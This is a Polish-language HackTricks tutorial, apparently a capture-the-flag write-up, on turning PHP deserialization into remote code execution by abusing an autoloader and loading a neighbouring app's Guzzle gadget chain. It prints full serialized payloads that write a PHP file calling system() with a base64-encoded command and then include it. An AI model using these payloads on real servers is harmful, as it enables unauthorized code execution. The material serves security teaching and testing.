PHP - Deserialization + Autoload Classes

Wsparcie HackTricks

Najpierw powinieneś sprawdzić, czym są Autoloading Classes.

PHP deserializacja + spl_autoload_register + LFI/Gadget

Jesteśmy w sytuacji, w której znaleźliśmy deserializację PHP w aplikacji webowej bez żadnej biblioteki podatnej na gadżety w phpggc. Jednak w tym samym kontenerze była inna aplikacja webowa z podatnymi bibliotekami. Dlatego celem było załadowanie loadera composera z innej aplikacji webowej i wykorzystanie go do załadowania gadżetu, który wykorzysta tę bibliotekę z gadżetem z aplikacji webowej podatnej na deserializację.

Kroki:

  • Znalazłeś deserializację i nie ma żadnego gadżetu w kodzie bieżącej aplikacji

  • Możesz wykorzystać funkcję spl_autoload_register jak poniżej, aby załadować dowolny lokalny plik z rozszerzeniem .php

  • W tym celu używasz deserializacji, w której nazwa klasy będzie w $name. Nie możesz używać "/" ani "." w nazwie klasy w zserializowanym obiekcie, ale kod zamienia podkreślenia ("_") na ukośniki ("/"). Tak więc nazwa klasy taka jak tmp_passwd zostanie przekształcona w /tmp/passwd.php, a kod spróbuje ją załadować. Przykład gadżetu to: O:10:"tmp_passwd":0:{}

spl_autoload_register(function ($name) {

if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}

$filename = "/${name}.php";

if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});

Jeśli masz upload plików i możesz przesłać plik z rozszerzeniem .php, możesz bezpośrednio nadużyć tej funkcjonalności i uzyskać już RCE.

W moim przypadku nie miałem nic takiego, ale w tym samym kontenerze była inna strona internetowa kompozytora z biblioteką podatną na gadżet phpggc.

  • Aby załadować tę inną bibliotekę, najpierw musisz załadować loader kompozytora tej innej aplikacji (ponieważ loader bieżącej aplikacji nie uzyska dostępu do bibliotek innej). Znając ścieżkę aplikacji, możesz to osiągnąć bardzo łatwo za pomocą: O:28:"www_frontend_vendor_autoload":0:{} (W moim przypadku loader kompozytora znajdował się w /www/frontend/vendor/autoload.php)

  • Teraz możesz załadować loader kompozytora innej aplikacji, więc nadszedł czas, aby wygenerować ładunek phpgcc do użycia. W moim przypadku użyłem Guzzle/FW1, co pozwoliło mi zapisać dowolny plik w systemie plików.

  • UWAGA: Wygenerowany gadżet nie działał, aby działał, zmodyfikowałem ten ładunek chain.php z phpggc i ustawiłem wszystkie atrybuty klas z prywatnych na publiczne. W przeciwnym razie, po deserializacji ciągu, atrybuty utworzonych obiektów nie miały żadnych wartości.

  • Teraz mamy sposób na załadowanie loadera kompozytora innej aplikacji i mamy ładunek phpggc, który działa, ale musimy zrobić to w TEJ SAMEJ ŻĄDANIE, aby loader został załadowany, gdy gadżet jest używany. W tym celu wysłałem zserializowaną tablicę z oboma obiektami, jak:

  • Możesz zobaczyć najpierw ładowanie loadera, a potem ładunek

a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
  • Teraz możemy utworzyć i zapisać plik, jednak użytkownik nie mógł zapisać w żadnym folderze wewnątrz serwera webowego. Jak widać w ładunku, PHP wywołuje system z pewnym base64, który jest tworzony w /tmp/a.php. Następnie możemy ponownie użyć pierwszego typu ładunku, którego użyliśmy jako LFI, aby załadować loader composera innej aplikacji webowej do załadowania wygenerowanego pliku /tmp/a.php. Po prostu dodaj go do gadżetu deserializacji:

a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}

Podsumowanie ładunku

  • Załaduj autoload composera innej aplikacji webowej w tym samym kontenerze

  • Załaduj gadżet phpggc do wykorzystania biblioteki z innej aplikacji webowej (początkowa aplikacja webowa podatna na deserializację nie miała żadnych gadżetów w swoich bibliotekach)

  • Gadżet utworzy plik z ładunkiem PHP w /tmp/a.php z złośliwymi poleceniami (użytkownik aplikacji webowej nie może pisać w żadnym folderze żadnej aplikacji webowej)

  • Ostatnia część naszego ładunku użyje załaduj wygenerowany plik php, który wykona polecenia

Musiałem wywołać tę deserializację dwa razy. W moich testach, za pierwszym razem plik /tmp/a.php został utworzony, ale nie załadowany, a za drugim razem został poprawnie załadowany.

Wsparcie dla HackTricks

Last updated